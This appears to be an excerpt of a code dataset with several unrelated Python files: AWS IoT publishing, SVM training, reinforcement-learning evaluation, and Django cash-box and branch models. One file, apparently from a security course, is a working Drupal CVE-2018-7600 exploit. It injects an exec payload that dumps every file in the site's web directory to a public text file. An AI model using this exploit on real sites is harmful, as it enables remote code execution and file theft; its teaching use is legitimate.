"video.Camera.motion", "line_number": 288, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 288, "usage_type": "attribute"}, {"api_name": "motion.historic.getLight", "line_number": 293, "usage_type": "call"}, {"api_name": "motion.historic", "line_number": 293, "usage_type": "name"}, {"api_name": "video.Camera.flash", "line_number": 298, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 298, "usage_type": "attribute"}, {"api_name": "motion.historic.getLight", "line_number": 300, "usage_type": "call"}, {"api_name": "motion.historic", "line_number": 300, "usage_type": "name"}, {"api_name": "video.Camera.flash", "line_number": 305, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 305, "usage_type": "attribute"}, {"api_name": "video.Camera.flash", "line_number": 311, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 311, "usage_type": "attribute"}, {"api_name": "motion.historic", "line_number": 313, "usage_type": "argument"}, {"api_name": "video.Camera.quality", "line_number": 354, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 354, "usage_type": "attribute"}, {"api_name": "video.Camera.quality", "line_number": 360, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 360, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 411, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 411, "usage_type": "attribute"}, {"api_name": "tools.useful.dateToString", "line_number": 411, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 411, "usage_type": "name"}, {"api_name": "tools.useful.syslog", "line_number": 491, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 491, "usage_type": "name"}, {"api_name": "tools.tasking.taskMonitoring", "line_number": 498, "usage_type": "call"}, {"api_name": "tools.tasking", "line_number": 498, "usage_type": "name"}, {"api_name": "server.server.Server.waitResume", "line_number": 504, "usage_type": "call"}, {"api_name": "server.server.Server", "line_number": 504, "usage_type": "name"}, {"api_name": "uasyncio.sleep", "line_number": 514, "usage_type": "call"}, {"api_name": "server.presence.Presence.isDetected", "line_number": 531, "usage_type": "call"}, {"api_name": "server.presence.Presence", "line_number": 531, "usage_type": "name"}, {"api_name": "server.notifier.Notifier.notify", "line_number": 541, "usage_type": "call"}, {"api_name": "server.notifier.Notifier", "line_number": 541, "usage_type": "name"}, {"api_name": "tools.lang.motion_detection_on", "line_number": 541, "usage_type": "attribute"}, {"api_name": "tools.lang", "line_number": 541, "usage_type": "name"}, {"api_name": "server.notifier.Notifier.notify", "line_number": 543, "usage_type": "call"}, {"api_name": "server.notifier.Notifier", "line_number": 543, "usage_type": "name"}, {"api_name": "tools.lang.motion_detection_off", "line_number": 543, "usage_type": "attribute"}, {"api_name": "tools.lang", "line_number": 543, "usage_type": "name"}, {"api_name": "video.video.Camera.isActivated", "line_number": 547, "usage_type": "call"}, {"api_name": "video.video.Camera", "line_number": 547, "usage_type": "name"}, {"api_name": "uasyncio.sleep_ms", "line_number": 555, "usage_type": "call"}, {"api_name": "video.Camera.isModified", "line_number": 572, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 572, "usage_type": "attribute"}, {"api_name": "video.Camera.clearModified", "line_number": 575, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 575, "usage_type": "attribute"}, {"api_name": "gc.collect", "line_number": 588, "usage_type": "call"}, {"api_name": "uasyncio.sleep_ms", "line_number": 596, "usage_type": "call"}, {"api_name": "server.server.Server.isSlow", "line_number": 596, "usage_type": "call"}, {"api_name": "server.server.Server", "line_number": 596, "usage_type": "name"}, {"api_name": "video.Camera.reserve", "line_number": 600, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 600, "usage_type": "attribute"}, {"api_name": "server.notifier.Notifier.notify", "line_number": 615, "usage_type": "call"}, {"api_name": "server.notifier.Notifier", "line_number": 615, "usage_type": "name"}, {"api_name": "motion.historic.Historic.setMotionState", "line_number": 623, "usage_type": "call"}, {"api_name": "motion.historic.Historic", "line_number": 623, "usage_type": "name"}, {"api_name": "motion.historic.Historic.setMotionState", "line_number": 627, "usage_type": "call"}, {"api_name": "motion.historic.Historic", "line_number": 627, "usage_type": "name"}, {"api_name": "server.notifier.Notifier.notify", "line_number": 631, "usage_type": "call"}, {"api_name": "server.notifier.Notifier", "line_number": 631, "usage_type": "name"}, {"api_name": "tools.lang.motion_detection_suspended", "line_number": 631, "usage_type": "attribute"}, {"api_name": "tools.lang", "line_number": 631, "usage_type": "name"}, {"api_name": "video.Camera.unreserve", "line_number": 636, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 636, "usage_type": "attribute"}]} {"seq_id": "415180334", "text": "from AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTClient\nimport logging\nimport time\nimport argparse\nimport yaml\nimport json\nimport datetime\nimport calendar\n\n# General message notification callback\ndef customOnMessage(message):\n print(\"Received a new message: \")\n print(message.payload)\n print(\"from topic: \")\n print(message.topic)\n print(\"--------------\\n\\n\")\n\n\n# Suback callback\ndef customSubackCallback(mid, data):\n print(\"Received SUBACK packet id: \")\n print(mid)\n print(\"Granted QoS: \")\n print(data)\n print(\"++++++++++++++\\n\\n\")\n\n\n# Puback callback\ndef customPubackCallback(mid):\n print(\"Received PUBACK packet id: \")\n print(mid)\n print(\"++++++++++++++\\n\\n\")\n\n\nwith open('pyDeviceConfig.yml') as file:\n config = yaml.load(file)\n\nhost = config['specificConfig']['ApNortheast1']['host']\nrootca = config['specificConfig']['ApNortheast1']['rootCaPath']\nclientcert = config['specificConfig']['ApNortheast1']['certificatePath']\nclientkey = config['specificConfig']['ApNortheast1']['privateKeyPath']\nclientId = config['CommonConfig']['clientid']\ntopic = config['topicConfig']['test']\n\n\nprint(\"Endpoint: \" + host + \"\\n\" \\\n \"RootCA path: \" + rootca + \"\\n\" \\\n \"clientcert path: \" + clientcert + \"\\n\" \\\n \"clientkey path: \" + clientkey + \"\\n\" \\\n \"clientId: \" + clientId + \"\\n\" \\\n \"topic: \" + topic + \"\\n\")\n\n\n# Configure logging\nlogger = logging.getLogger(\"AWSIoTPythonSDK.core\")\nlogger.setLevel(logging.DEBUG)\nstreamHandler = logging.StreamHandler()\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nstreamHandler.setFormatter(formatter)\nlogger.addHandler(streamHandler)\n\n\n# Init AWSIoTMQTTClient (Not use websocket)\nmyAWSIoTMQTTClient = None\nmyAWSIoTMQTTClient = AWSIoTMQTTClient(clientId)\nmyAWSIoTMQTTClient.configureEndpoint(host, 8883)\nmyAWSIoTMQTTClient.configureCredentials(rootca, clientkey, clientcert)\n\n# AWSIoTMQTTClient connection configuration\nmyAWSIoTMQTTClient.configureAutoReconnectBackoffTime(1, 32, 20)\nmyAWSIoTMQTTClient.configureOfflinePublishQueueing(-1) # Infinite offline Publish queueing\nmyAWSIoTMQTTClient.configureDrainingFrequency(2) # Draining: 2 Hz\nmyAWSIoTMQTTClient.configureConnectDisconnectTimeout(10) # 10 sec\nmyAWSIoTMQTTClient.configureMQTTOperationTimeout(5) # 5 sec\nmyAWSIoTMQTTClient.onMessage = customOnMessage\n\n# Connect and subscribe to AWS IoT\nmyAWSIoTMQTTClient.connect()\n# Note that we are not putting a message callback here. We are using the general message notification callback.\nmyAWSIoTMQTTClient.subscribeAsync(topic, 1, ackCallback=customSubackCallback)\ntime.sleep(2)\n\n# test configure\nhumidity = \"50\"\ntemperature = \"20\"\n\n# Publish to the same topic in a loop forever\nwhile True:\n # timestamp\n now = datetime.datetime.utcnow()\n recordat = str(now.strftime(\"%Y-%m-%d\"))\n timeStamp = str(calendar.timegm(now.utctimetuple()))\n\n # publish\n publishPayload = json.dumps({\"recordat\": recordat, \"time_stamp\": timeStamp, \"uuid\": clientId, \"room_humidity\": humidity, \"room_temperature\": temperature})\n myAWSIoTMQTTClient.publishAsync(topic, publishPayload, 1, ackCallback=customPubackCallback)\n time.sleep(1)\n", "sub_path": "aws-iot/aws-iot-device-sdk-examples/python/basic_pub_sub.py", "file_name": "basic_pub_sub.py", "file_ext": "py", "file_size_in_byte": 3180, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "yaml.load", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 55, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 56, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 58, "usage_type": "call"}, {"api_name": "AWSIoTPythonSDK.MQTTLib.AWSIoTMQTTClient", "line_number": 65, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "calendar.timegm", "line_number": 92, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 95, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 97, "usage_type": "call"}]} {"seq_id": "171680464", "text": "import numpy as np\nnp.random.seed(222)\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn import svm\n\ntrain = pd.read_csv('train_recode_8.csv.gz', compression=\"gzip\")\ntest = pd.read_csv('test_recode_8.csv.gz', compression=\"gzip\")\ntrain.shape\ntest.shape\n\ny_train = train['target'].ravel()\nall_data = pd.concat([train.drop(['loss', 'target'], axis=1), test], ignore_index=True)\nall_data.index\nall_data.head()\n\ndf_normal = pd.DataFrame(all_data, columns = ['claim_id'])\nfor f in all_data.columns[1:]:\n s = (all_data[f] - all_data[f].mean()) / all_data[f].std()\n frames = [df_normal, s]\n df_normal = pd.concat(frames, axis=1)\n\ntrain_norm = pd.merge(pd.DataFrame(train['claim_id']), df_normal, on='claim_id', how='inner', sort=False)\ntest_norm = pd.merge(pd.DataFrame(test['claim_id']), df_normal, on='claim_id', how='inner', sort=False)\n\n#####Sample Data#####\ntrain_svm = train_norm.sample(frac=0.1)\ny_sample = pd.merge(train[['claim_id', 'target']], train_svm[['claim_id']], on='claim_id', how='inner', sort=False)\ny_train = y_sample['target'].ravel()\n#####################\n\n#y_train = train['target'].ravel()\nX = train_svm.drop(['claim_id'], axis=1)\nX_test = test.drop(['claim_id'], axis=1)\n\ntrain_id = train_svm['claim_id'].values\ntest_id = test['claim_id'].values\n\nsvc_rbf = svm.SVC(kernel='rbf', probability=True, decision_function_shape='ovr', cache_size=50000)\nsvc_lin = svm.SVC(kernel='poly')\nnu_rbf = svm.NuSVC(kernel='rbf')\nnu_lin = svm.NuSVC(kernel='poly')\n\n\nsvc_rbf.fit(X, y_train)\ndec = svc_rbf.decision_function(X)\npred = svc_rbf.predict_proba(X)\n\n", "sub_path": "Ajay/svm_1.py", "file_name": "svm_1.py", "file_ext": "py", "file_size_in_byte": 1569, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.random.seed", "line_number": 2, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 2, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 40, "usage_type": "name"}, {"api_name": "sklearn.svm.SVC", "line_number": 41, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 41, "usage_type": "name"}, {"api_name": "sklearn.svm.NuSVC", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 42, "usage_type": "name"}, {"api_name": "sklearn.svm.NuSVC", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 43, "usage_type": "name"}]} {"seq_id": "504915789", "text": "import os\nfrom train import get_network_and_environment_creator, bool_arg\nimport custom_logging\nimport argparse\nimport numpy as np\nimport time\nfrom PIL import Image\nimport tensorflow as tf\nfrom paac import PAACLearner\n\n\ndef get_save_frame(dest_folder, name):\n class Counter:\n def __init__(self):\n self.counter = 0\n def increase(self):\n self.counter += 1\n def get(self):\n return self.counter\n counter = Counter()\n\n def get_frame(frame):\n im = Image.fromarray(frame[:, :, ::-1])\n im.save(\"{}_{:05d}.png\".format(os.path.join(dest_folder, name), counter.get()))\n counter.increase()\n return False\n return get_frame\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-f', '--folder', type=str, help=\"Folder where to save the debugging information.\", dest=\"folder\")\n parser.add_argument('-tc', '--test_count', default='5', type=int, help=\"The amount of tests to run on the given network\", dest=\"test_count\")\n parser.add_argument('-re', '--random_eval', default=False, type=bool_arg, help=\"Whether or not to use 35 random steps\", dest=\"random_eval\")\n parser.add_argument('-s', '--show', default=False, type=bool_arg, help=\"Whether or not to show the run\", dest=\"show\")\n parser.add_argument('-gf', '--gif_folder', default=None, type=str, help=\"The folder to save the gifs\", dest=\"gif_folder\")\n parser.add_argument('-d', '--device', default='/gpu:0', type=str, help=\"Device to be used ('/cpu:0', '/gpu:0', '/gpu:1',...)\", dest=\"device\")\n\n args = parser.parse_args()\n arg_file = os.path.join(args.folder, 'args.json')\n device = args.device\n for k, v in custom_logging.load_args(arg_file).items():\n setattr(args, k, v)\n args.max_global_steps = 0\n df = args.folder\n args.debugging_folder = '/tmp/logs'\n args.device = device\n\n if args.random_eval:\n args.random_start = False\n args.single_life_episodes = False\n if args.show:\n args.visualize = 1\n\n args.actor_id = 0\n rng = np.random.RandomState(int(time.time()))\n args.random_seed = rng.randint(1000)\n\n network_creator, env_creator = get_network_and_environment_creator(args)\n network = network_creator()\n saver = tf.train.Saver()\n\n rewards = []\n environment = env_creator.create_environment(0)\n if args.gif_folder:\n if not os.path.exists(args.gif_folder):\n os.makedirs(args.gif_folder)\n environment.on_new_frame = get_save_frame(args.gif_folder, 'gif')\n print(args.random_eval)\n with tf.Session() as sess:\n checkpoints_ = os.path.join(df, 'checkpoints')\n network.init(checkpoints_, saver, sess)\n for i in range(args.test_count):\n state = environment.get_initial_state()\n if args.random_eval:\n for _ in range(35):\n state, _, _ = environment.next(np.eye(environment.get_legal_actions().shape[0])[rng.randint(environment.get_legal_actions().shape[0])])\n\n episode_over = False\n reward = 0.0\n while not episode_over:\n action = PAACLearner.choose_next_actions(network, env_creator.num_actions, [state], sess)\n state, r, episode_over = environment.next(action[0])\n reward += r\n rewards.append(reward)\n print(reward)\n print(np.mean(rewards), np.min(rewards), np.max(rewards), np.std(rewards))\n\n\n", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 3469, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "PIL.Image.fromarray", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 30, "usage_type": "call"}, {"api_name": "train.bool_arg", "line_number": 33, "usage_type": "name"}, {"api_name": "train.bool_arg", "line_number": 34, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "custom_logging.load_args", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 55, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "train.get_network_and_environment_creator", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 76, "usage_type": "call"}, {"api_name": "paac.PAACLearner.choose_next_actions", "line_number": 81, "usage_type": "call"}, {"api_name": "paac.PAACLearner", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 86, "usage_type": "call"}]} {"seq_id": "544521596", "text": "import os\nimport argparse\nimport math\nimport random\nimport subprocess\nimport time\n\nparser = argparse.ArgumentParser(description='main_runner')\nparser.add_argument('--dataset_size','-n',type=int,default=1000,help='Number of elements in S, i.e. number of key-value pairs')\nparser.add_argument('--epsilon','-e',type=float,default=0.1,help='Epsilon value')\nparser.add_argument('--m','-m',type=int,default=15,help='The number of bits of the prime p')\nparser.add_argument('--s','-s',type=int,default=4,help='Number of hash functions')\nparser.add_argument('--range','-r',type=int,default=20,help='Number of possible function output values')\nparser.add_argument('--buckets','-B',type=int,default=10,help='Number of buckets')\n# parser.add_argument('--num_exp','-ne',type=int,default=10,help='Number of experiments')\nargs = parser.parse_args()\n\nn = args.dataset_size\ne = args.epsilon\nm = args.m\ns = args.s\nr = args.range\nB = args.buckets\n\nk = math.ceil(math.log(r, 2))\n\nif m < k:\n\traise ValueError('Specify m to be larger than or equal log_2(range).')\n\nkeys = random.sample(range(n), n)\ndata = [random.randint(0,r-1) for i in range(n)]\n\nwith open('dataset.txt', 'w') as f:\n for i in range(len(data)):\n key = keys[i]\n item = data[i]\n f.write(\"%s %s\\n\" % (key,item) )\n\ntimenow = time.time()\n\nprint(subprocess.check_output(\"./test_bucketing.o %s %s %s %s %s %s < dataset.txt\"%(n,e,m,s,k,B),shell=True))\n\nprint(time.time()-timenow)", "sub_path": "mainbucket.py", "file_name": "mainbucket.py", "file_ext": "py", "file_size_in_byte": 1441, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 25, "usage_type": "call"}, {"api_name": "math.log", "line_number": 25, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 30, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 39, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 41, "usage_type": "call"}, {"api_name": "time.time", "line_number": 43, "usage_type": "call"}]} {"seq_id": "433235618", "text": "import sys\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\n# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh\n\ntarget = \"https://drupal.samsclass.info/\"\n\nurl = target + 'user/register?element_parents=account/mail/' \\\n + '%23value&ajax_form=1&_wrapper_format=drupal_ajax'\n\npayload = {'form_id': 'user_register_form', '_drupal_ajax': '1',\n 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',\n 'mail[#markup]': 'ls | xargs -I % bash -c \"echo % && cat %\" | tee 0xBB.txt'}\n\nr = requests.post(url, data=payload, auth=HTTPBasicAuth('student1', 'student1'))\n\ncheck = requests.get(target + '0xBB.txt', auth=HTTPBasicAuth('student1', 'student1'))\nif check.status_code != 200:\n sys.exit(\"Not exploitable\")\nprint ('\\nCheck: '+target+'0xBB.txt')\n\n\n\n", "sub_path": "projects/I_Command_Injection/ED102/exploit_drupal/exploit_drupal.py", "file_name": "exploit_drupal.py", "file_ext": "py", "file_size_in_byte": 792, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.post", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.auth.HTTPBasicAuth", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.auth.HTTPBasicAuth", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 20, "usage_type": "call"}]} {"seq_id": "502952875", "text": "from django.db import models\nfrom django.core.exceptions import ValidationError\nfrom django.db.models.enums import TextChoices\nfrom django.db.models.signals import pre_save\n\n\n\nclass Caja(models.Model):\n \n codigo = models.CharField('Identificador', max_length= 4, unique=True)\n saldo_disponible = models.DecimalField('Saldo disponible en pesos', decimal_places=2, max_digits=9)\n saldo_disponible_dolares = models.DecimalField('Saldo disponible en dolares', decimal_places=2, max_digits=9)\n saldo_disponible_euros = models.DecimalField('Saldo disponible en euros', decimal_places=2, max_digits=9)\n egresos = models.DecimalField('Egresos', decimal_places=2, max_digits=9)\n ingresos_en_pesos = models.DecimalField('Ingresos en pesos', decimal_places=2, max_digits=9)\n ingresos_en_dolares = models.DecimalField('Ingresos en dolares', decimal_places=2, max_digits=9)\n ingresos_en_euros = models.DecimalField('Ingresos en euros', decimal_places=2, max_digits=9)\n saldo_inicial = models.DecimalField('Saldo Inicial', decimal_places=2, max_digits=9)\n saldo_final = models.DecimalField('Saldo Final', decimal_places=2, max_digits=9)\n sucursal_id = models.ForeignKey('Sucursal', on_delete=models.PROTECT, null=True)\n\n \n def clean(self):\n \n \n \n cajas = Caja.objects.all() \n \n for caja in cajas:\n if self.codigo == caja.codigo and self.id != caja.id:\n raise ValidationError('Ya existe una caja con el identificador ingresado.')\n \n if self.sucursal_id.estado.opciones == 'INACTIVA':\n raise ValidationError('No puedes registrar una caja a una sucursal inactiva.')\n \n if not self.codigo.isalnum():\n raise ValidationError('El identificador solo puede contener letras y números.')\n if len(self.codigo) < 2 or len(self.codigo) > 4:\n raise ValidationError('El indentificador debe tener entre 2 y 4 caracteres.')\n if self.saldo_disponible == None or self.saldo_disponible < 0 :\n raise ValidationError('El saldo disponible debe ser un número positivo, con un máximo de 7 cifras.')\n if self.saldo_disponible_dolares == None or self.saldo_disponible_dolares < 0:\n raise ValidationError('El saldo disponible en dolares debe ser un número positivo, con un máximo de 7 cifras.')\n if self.saldo_disponible_euros == None or self.saldo_disponible_euros < 0:\n raise ValidationError('El saldo disponible en euros debe ser un número positivo, con un máximo de 7 cifras.')\n if self.egresos == None or self.egresos < 0 :\n raise ValidationError('Los egresos deben ser un número positivo, con un máximo de 7 cifras.')\n if self.ingresos_en_pesos == None or self.ingresos_en_pesos < 0:\n raise ValidationError('Los ingresos en pesos deben ser un número positivo, con un máximo de 7 cifras.')\n if self.ingresos_en_dolares == None or self.ingresos_en_dolares < 0:\n raise ValidationError('Los ingresos en dolares deben ser un número positivo, con un máximo de 7 cifras.')\n if self.ingresos_en_euros == None or self.ingresos_en_euros < 0:\n raise ValidationError('Los ingresos en euros deben ser un número positivo, con un máximo de 7 cifras.')\n if self.saldo_inicial == None or self.saldo_inicial < 0 :\n raise ValidationError('El saldo inicial debe ser un número positivo, con un máximo de 7 cifras.')\n if self.saldo_final == None or self.saldo_final < 0:\n raise ValidationError('El saldo final debe ser un número positivo, con un máximo de 7 cifras.')\n \n \n \n class Meta:\n \n verbose_name = 'caja'\n verbose_name_plural = 'cajas'\n \n def __str__(self):\n return self.codigo\n \nclass EstadoSucursal(models.Model):\n \n class opcionesEstado(TextChoices):\n \n ACTIVA = 'ACTIVA'\n INACTIVA = 'INACTIVA'\n \n opciones = models.CharField(choices = opcionesEstado.choices, max_length=8, default= 'ACTIVA')\n\n def __str__(self):\n return self.opciones\n\n\nclass Sucursal (models.Model):\n \n codigo = models.CharField(max_length = 4, unique=True)\n idCasaCentral = models.IntegerField(default= 1)\n estado = models.ForeignKey(EstadoSucursal, on_delete=models.PROTECT, null=True)\n calle = models.CharField('Calle', max_length=20)\n numero = models.CharField('Numero', max_length=4)\n localidad = models.CharField('Localidad', max_length=20, null=True)\n provincia = models.CharField('Provincia', max_length= 20, null=True)\n cod_postal = models.CharField('Código postal', max_length=4)\n \n \n def clean(self):\n \n\n for char in self.localidad:\n \n if not char.isalpha() and char != \" \":\n raise ValidationError('La localidad solo puede tener letras y espacios.')\n \n for char in self.provincia:\n \n if not char.isalpha() and char != \" \":\n raise ValidationError('La provincia solo puede tener letras y espacios.')\n \n for char in self.cod_postal:\n \n if char.isalpha():\n raise ValidationError(\"El código postal solo puede tener digitos.\")\n \n if not self.codigo.isalnum():\n raise ValidationError('El código de la sucursal solo puede contener letras y números')\n if len(self.codigo) < 2 or len(self.codigo) > 4:\n raise ValidationError('El código de la sucursal debe tener entre 2 y 4 caracteres')\n \n if len(self.calle) < 4 or len(self.calle) > 20:\n raise ValidationError('La calle debe tener entre 4 y 20 letras')\n \n if not self.numero.isdigit():\n raise ValidationError('El número solo puede contener digitos.') \n \n if len(self.numero) < 2 or len(self.numero) > 4:\n raise ValidationError('El número debe tener entre 1 y 4 digitos.')\n \n \n if len(self.localidad) < 4 or len(self.localidad) > 20:\n raise ValidationError('La calle debe tener entre 4 y 20 letras')\n \n if len(self.provincia) < 4 or len(self.provincia)> 20:\n raise ValidationError('La provincia debe tener entre 4 y 20 letras')\n \n if not self.cod_postal.isdigit():\n raise ValidationError('El código postal solo puede contener digitos.')\n \n if len(self.cod_postal) < 1 or len(self.cod_postal) > 4:\n raise ValidationError('El código postal debe tener entre 1 y 4 digitos.')\n \n class Meta:\n \n verbose_name = 'sucursal'\n verbose_name_plural = 'sucursales'\n\n def __str__(self):\n return self.codigo\n\n\nclass Operacion(models.Model):\n \n fecha = models.DateTimeField('Fecha', auto_now_add=True)\n monto = models.CharField('Monto', max_length=40)\n tipo = models.CharField('Tipo', max_length=10)\n caja_asociada = models.ForeignKey(Caja, on_delete=models.PROTECT)\n identificador = models.CharField('Identificador', max_length= 50)\n responsable = models.IntegerField('ID de responsable')\n \n class Meta:\n \n verbose_name = 'operacion'\n verbose_name_plural = 'operaciones'\n \n def __str__(self):\n return \"Identificador: {}, Monto: {}, Tipo: {}\".format(self.identificador, self.monto, self.tipo)\n \n \n \ndef defaultActivoSucursal(sender, instance, **kwargs):\n \n \n estados = EstadoSucursal.objects.all()\n if len(estados) > 0:\n if instance.estado_id == None:\n \n estadosQuery = EstadoSucursal.objects.filter(opciones = 'ACTIVA')\n activo = \"\"\n for estado in estadosQuery:\n activo = estado.id \n \n instance.estado_id = activo \n \n \npre_save.connect(defaultActivoSucursal, sender = Sucursal)", "sub_path": "sucursal/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 7971, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.db.models.Model", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 31, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 34, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 37, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 39, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 41, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 43, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 45, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 47, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 49, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 51, "usage_type": "call"}, {"api_name": 